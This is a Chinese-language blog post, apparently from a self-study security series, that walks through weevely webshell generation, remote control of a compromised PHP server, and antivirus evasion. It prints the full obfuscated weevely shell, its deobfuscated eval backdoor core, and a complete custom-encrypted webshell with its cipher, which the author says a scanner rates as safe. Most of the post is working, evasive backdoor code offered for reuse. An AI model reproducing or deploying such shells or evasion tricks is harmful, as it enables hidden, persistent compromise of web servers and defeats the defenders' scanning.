本專欄是筆者的網路安全學習筆記,一面分享,同時作為筆記
前文鏈接
- WAMP/DVWA/sqli-labs 搭建
- burpsuite工具抓包及Intruder暴力破解的使用
- 目錄掃描,請求重發,漏洞掃描等工具的使用
- 網站資訊收集及nmap的下載使用
- SQL注入(1)——了解成因和手工注入方法
- SQL注入(2)——各種注入
- SQL注入(3)——SQLMAP
- SQL注入(4)——實戰SQL注入拿webshell
- Vulnhub靶機滲透之Me and My Girlfriend
- XSS漏洞
- 檔案上傳漏洞
- 檔案上傳繞過
- 檔案包含漏洞
- Vulnhub靶機滲透之zico2
- 命令執行漏洞
- 邏輯漏洞(越權訪問和支付漏洞)
- 網站后臺安全
介紹
weevely是一個控制臺的WebShell管理工具,其功能強大,被譽為linux的菜刀,支持生成shell,遠程連接,檔案管理,資訊探測等功能,缺點是只支持php
,
在kali linux中自帶了weevely,在控制臺輸入weevely,出現以下內容,則說明存在weevely

在本篇中,使用kali提供的weevely進行演示,
生成WebShell
格式:weevely generate <password> <path>
其中password是WebShell的連接密碼,path是生成的木馬檔案的保存目錄
例如我要生成一個密碼為manlu的WebShell檔案,放在
/home/manlu/shell.php位置,輸入
weevely generate manlu /home/manlu/shell.php

可以通過cat指令查看生成的WebShell
cat shell.php
shell.php
<?php
$Z='}Zn;}}rZneZntuZnrn $o;}if (@Znpreg_matchZn("/$khZn(.+)$kfZn/Zn",@fiZnle_get_conteZnn';
$z='Zn(@base6Zn4_decodeZn($m[1]Zn)Zn,$k)));$o=@oZnb_gZnet_contenZnts()Zn;@ob_end_cZnZnlea';
$i='($i=0;$i<$l;Zn){for(Zn$ZnjZn=0;(ZnZn$j<$c&&$iZn<$l);$jZn++,$i++){$o.=$t{$iZn}^$k{$j';
$h='$k="c1Zn0807Zn32";$kh="f2ZnZn641efZn36dZn6Znb";$kf="bae059c91cZnfbZn"Zn;$p="VoWCZnbDeLGk8';
$D=str_replace('rv','','rvrvcrervaterv_rvfunctirvon');
$b='ts("ZnZnphp:/Zn/inpZnut")Zn,$m)==Zn1) {@ob_start();@ZnevZnal(Zn@gzuncompZnrZness(@x';
$v='DzmZnp3";ZnfuncZntion x($t,$k){$Znc=ZnstZnZnrZnlen($k);$l=strlen($t);Zn$o="Zn";foZnr';
$u='n();$r=@baseZn64_ZnencZnode(@x(@gzcomZnpZnrZnessZn($o),$k)Zn);pZnrint("$p$kh$r$kf");}';
$t=str_replace('Zn','',$h.$v.$i.$Z.$b.$z.$u);
$o=$D('',$t);$o();
?>
可以看到,是做了代碼混淆的,但是其核心代碼是固定不變的,殺毒軟體記住它的樣子,看見就打死

后文我們將對生成的木馬進行免殺,讓它可以騙過安全軟體,裝成一個正常的php檔案
連接和使用
把Webshell上傳到服務器上

在瀏覽器訪問

使用weevely連接
格式:weevely <URL> <password> [cmd]
其中 URL 是WebShell的位置 , password 是連接密碼
例如我想要連接我上傳的WebShell,就輸入
weevely http://192.168.1.7/shell.php manlu

此時我可以執行指令,例如輸入whoami查看當前權限

回傳了結果,并進入互動式shell
鍵入:help查看更多幫助資訊

在這里介紹幾個常用的模塊,其他模塊感興趣的話可自行嘗試
模塊
:system_info
查看當前的系統資訊

:net_scan
進行埠掃描(不過速度比較慢)
net_scan [-h] [-timeout TIMEOUT] [-print] addresses ports
例如我想要掃描ip為127.0.0.1的1-100埠
:net_scan 127.0.0.1 1-100

:shell_sh
執行系統指令
:shell_sh command
這里command是想要執行的系統指令
例如我想執行whoami
:shell_sh whoami

:audit_phpconf
查看PHP配置資訊

:file_upload
上傳檔案到服務器
:file_upload 本地檔案地址 上傳檔案地址
例如我想將 /home/manlu/1.txt上傳至網站目錄上
:file_upload /home/manlu/1.txt 1.txt


:file_read
讀取服務器上的檔案
:file_read filename
filename 是要讀取的檔案名
例如我想讀取網站目錄下的1.txt檔案
:file_read 1.txt

:file_download
從服務器上下載檔案
例如我想下載服務器上的safe_shell.php
:file_download safe_shell.php safe.php


免殺
在這里只是提供免殺思路,還是要使用自己的方法對木馬進行免殺
我在免殺時經歷了很多困難,沒有專門學過PHP,只是因為要搞安全惡補了一下,代碼看不懂,函式看不懂查資料,正則運算式瘋狂匹配,一直到今天才實作了免殺,同時我的php水平也得到了提高,
在這里我使用自定義加密的方法,使用自定義的加解密演算法對代碼進行加解密,從而繞過防火墻,
我先前在寫網站時寫過相應的加解密演算法,不過是用java寫的,我進行了修改在php上使用,我會在后文把免殺馬和演算法貼出,但貼出的是我在修改之后的演算法代碼,實際上的加解密演算法代碼更加復雜,
可能我的代碼在放出來后就會被防火墻認識并失去了免殺效果,但只要自己掌握免殺技術,就可以制作獨一無二的免殺馬,
在撰寫加解密演算法時,要存在對語言的高度了解和一定的逆向思維,
接下來是我的免殺步驟,
想要對其進行免殺,先要對其代碼進行解密處理
使用phpstorm可以直接將代碼進行格式化,在這里會發揮很大的用處
查看WebShell
<?php
$Z='}Zn;}}rZneZntuZnrn $o;}if (@Znpreg_matchZn("/$khZn(.+)$kfZn/Zn",@fiZnle_get_conteZnn';
$z='Zn(@base6Zn4_decodeZn($m[1]Zn)Zn,$k)));$o=@oZnb_gZnet_contenZnts()Zn;@ob_end_cZnZnlea';
$i='($i=0;$i<$l;Zn){for(Zn$ZnjZn=0;(ZnZn$j<$c&&$iZn<$l);$jZn++,$i++){$o.=$t{$iZn}^$k{$j';
$h='$k="c1Zn0807Zn32";$kh="f2ZnZn641efZn36dZn6Znb";$kf="bae059c91cZnfbZn"Zn;$p="VoWCZnbDeLGk8';
$D=str_replace('rv','','rvrvcrervaterv_rvfunctirvon');
$b='ts("ZnZnphp:/Zn/inpZnut")Zn,$m)==Zn1) {@ob_start();@ZnevZnal(Zn@gzuncompZnrZness(@x';
$v='DzmZnp3";ZnfuncZntion x($t,$k){$Znc=ZnstZnZnrZnlen($k);$l=strlen($t);Zn$o="Zn";foZnr';
$u='n();$r=@baseZn64_ZnencZnode(@x(@gzcomZnpZnrZnessZn($o),$k)Zn);pZnrint("$p$kh$r$kf");}';
$t=str_replace('Zn','',$h.$v.$i.$Z.$b.$z.$u);
$o=$D('',$t);$o();
?>
在這里定義了一堆奇奇怪怪的字串,同時還有兩個str_replace函式,但是看到字串中存在一些base64,enc,ode,strlen,直覺字串中是PHP代碼,
從上往下看,又臭又長的先跳過,首先看到這個陳述句
$D=str_replace('rv','','rvrvcrervaterv_rvfunctirvon');
不曉得這是什么東西,但是可以輸出一下變數D,看下是什么東西


D是一個create_function函式,create_function可以創建一個匿名函式,它接受兩個引數,第一個是匿名函式的引數,第二個是函式的陳述句,
例如,通過create_function實作一個相加的函式
<?php
$f=create_function('$a,$b','return $a+$b;');
echo "1 + 2 = ".$f(1,2);
?>

繼續向下看,發現一行可用陳述句
$t=str_replace('Zn','',$h.$v.$i.$Z.$b.$z.$u);
這些變數都是又臭又長的字串,這里將他們全部連接在一起,并進行字串替換,
在這里直接輸出$t查看內容,


看到這里豁然開朗,$t是一堆php陳述句,其中就藏著關鍵代碼,
先繼續向下看,下面就是通過先前的變數D創建一個函式嗎,執行變數t的陳述句,再呼叫這個函式,

接下來再看看 $t 的具體內容,
把 $t 復制到phpstorm里,按下Ctrl+Alt+L進行格式化
格式化結果如下
$k = "c1080732";
$kh = "f2641ef36d6b";
$kf = "bae059c91cfb";
$p = "VoWCbDeLGk8Dzmp3";
function x($t, $k)
{
$c = strlen($k);
$l = strlen($t);
$o = "";
for ($i = 0; $i < $l;) {
for ($j = 0; ($j < $c && $i < $l); $j++, $i++) {
$o .= $t{$i} ^ $k{$j};
}
}
return $o;
}
if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) {
@ob_start();
@eval(@gzuncompress(@x(@base64_decode($m[1]), $k)));
$o = @ob_get_contents();
@ob_end_clean();
$r = @base64_encode(@x(@gzcompress($o), $k));
print("$p$kh$r$kf");
}
此時WebShell的核心代碼已經非常分明了,
感興趣的大佬可以繼續決議核心代碼,并進行免殺處理,我這邊直接用我的自定義加解密來進行免殺,畢竟這東西,只要能連接,能繞過防火墻,就很好了,
在這里直接貼出免殺馬,
<?php
class Cipher
{
static $key = "manlu";
static $n_key = 0;
static $num = 21;
function getKey()
{
for ($i = 0; $i < strlen(self::$key); $i++) {
self::$n_key += ord(self::$key[$i]);
}
}
function decrypt($text)
{
$this->getKey();
$result = '';
$a = explode('.', $text);
foreach ($a as $val) {
$result .= chr((int)$val / self::$num - self::$n_key);
}
self::$n_key = 0;
return $result;
}
}
$ci = new Cipher();
$a = '13440.13755.13482.13398.13797.13482.13356.13503.13818.13671.13440.13797.13566.13692.13671';
$c = $ci->decrypt($a);
$b = '12117.13608.12642.12075.13440.12390.12369.12537.12369.12516.12432.12411.12075.12600.12117.13608.13545.12642.12075.13503.12411.12495.12453.12390.13482.13503.12432.12495.13461.12495.13419.12075.12600.12117.13608.13503.12642.12075.13419.13398.13482.12369.12474.12558.13440.12558.12390.13440.13503.13419.12075.12600.12117.13713.12642.12075.13524.13860.13902.12999.13041.12978.13797.13692.13419.13230.12411.13482.13608.13923.13440.13818.12075.12600.13503.13818.13671.13440.13797.13566.13692.13671.12033.13881.12201.12117.13797.12285.12117.13608.12222.13944.12117.13440.12642.13776.13797.13755.13629.13482.13671.12201.12117.13608.12222.12600.12117.13629.12642.13776.13797.13755.13629.13482.13671.12201.12117.13797.12222.12600.12117.13692.12642.12075.12075.12600.13503.13692.13755.12201.12117.13566.12642.12369.12600.12117.13566.12621.12117.13629.12600.12222.13944.13503.13692.13755.12201.12117.13587.12642.12369.12600.12201.12117.13587.12621.12117.13440.12159.12159.12117.13566.12621.12117.13629.12222.12600.12117.13587.12264.12264.12285.12117.13566.12264.12264.12222.13944.12117.13692.12327.12642.12117.13797.13944.12117.13566.13986.13335.12117.13608.13944.12117.13587.13986.12600.13986.13986.13755.13482.13797.13818.13755.13671.12033.12117.13692.12600.13986.13566.13503.12033.12201.12705.13713.13755.13482.13524.13356.13650.13398.13797.13440.13545.12201.12075.12348.12117.13608.13545.12201.12327.12264.12222.12117.13608.13503.12348.12075.12285.12705.13503.13566.13629.13482.13356.13524.13482.13797.13356.13440.13692.13671.13797.13482.13671.13797.13776.12201.12075.13713.13545.13713.12579.12348.12348.13566.13671.13713.13818.13797.12075.12222.12285.12117.13650.12222.12642.12642.12390.12222.12033.13944.13503.13860.13755.13566.13797.13482.12201.13503.13692.13713.13482.13671.12201.12075.12390.12327.13797.13881.13797.12075.12285.12075.13860.12075.12222.12285.13503.13566.13629.13482.13356.13524.13482.13797.13356.13440.13692.13671.13797.13482.13671.13797.13776.12201.12075.13713.13545.13713.12579.12348.12348.13566.13671.13713.13818.13797.12075.12222.12327.12075.13293.13671.12075.12222.12600.12705.13692.13419.13356.13776.13797.13398.13755.13797.12201.12222.12600.12705.13482.13839.13398.13629.12201.12705.13524.13923.13818.13671.13440.13692.13650.13713.13755.13482.13776.13776.12201.12705.13881.12201.12705.13419.13398.13776.13482.12495.12453.13356.13461.13482.13440.13692.13461.13482.12201.12117.13650.13272.12390.13314.12222.12285.12117.13608.12222.12222.12222.12600.12117.13692.12642.12705.13692.13419.13356.13524.13482.13797.13356.13440.13692.13671.13797.13482.13671.13797.13776.12201.12222.12600.12705.13692.13419.13356.13482.13671.13461.13356.13440.13629.13482.13398.13671.12201.12222.12600.12117.13755.12642.12705.13419.13398.13776.13482.12495.12453.13356.13482.13671.13440.13692.13461.13482.12201.12705.13881.12201.12705.13524.13923.13440.13692.13650.13713.13755.13482.13776.13776.12201.12117.13692.12222.12285.12117.13608.12222.12222.12600.13713.13755.13566.13671.13797.12201.12075.12117.13713.12117.13608.13545.12117.13755.12117.13608.13503.12075.12222.12600.13986';
$o = $ci->decrypt($b);
$k = $c('', $o);
$k();
?>
在這里我只貼出了部分解密演算法,但已經夠用了,
在這里, $c和$o分別是create_function和那一長串的核心代碼
而 $a、$b則是create_function、代碼塊的加密結果
我先用演算法將他們進行了加密,再進行解密,從而實作免殺,
原本生成的WebShell在D盾中掃描結果是4級高危,但我在免殺之后,掃描結果提示為安全檔案,

我在之前按照網上的方法對一句話木馬進行過免殺,也只是降到了二級,而這里直接降到了0級是我之外的,
同時是可以正常使用的,

在這里貼出我的加解密演算法,
class Cipher
{
static $key = "manlu";
static $n_key = 0;
static $num = 21;
function getKey()
{
for ($i = 0; $i < strlen(self::$key); $i++) {
self::$n_key += ord(self::$key[$i]);
}
}
function encrypt($text)
{
$this->getKey();
$s = '';
for ($i = 0; $i < strlen($text); $i++) {
$n = ord($text[$i]);
$s .= ($n + self::$n_key) * self::$num . ".";
}
self::$n_key = 0;
$res = substr($s, 0, strlen($s) - 1);
return $res;
}
function decrypt($text)
{
$this->getKey();
$result='';
$a=explode('.',$text);
foreach ($a as $val){
$result.=chr((int)$val/self::$num-self::$n_key);
}
self::$n_key=0;
return $result;
}
}
我在寫網站時寫的加解密演算法比這更加復雜,不過在這里沒有更大的必要,就沒有貼出來了,
這只是一種很簡單的免殺方法,還有更多其他的免殺方法,各位大佬可自行嘗試,
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/291283.html
標籤:其他
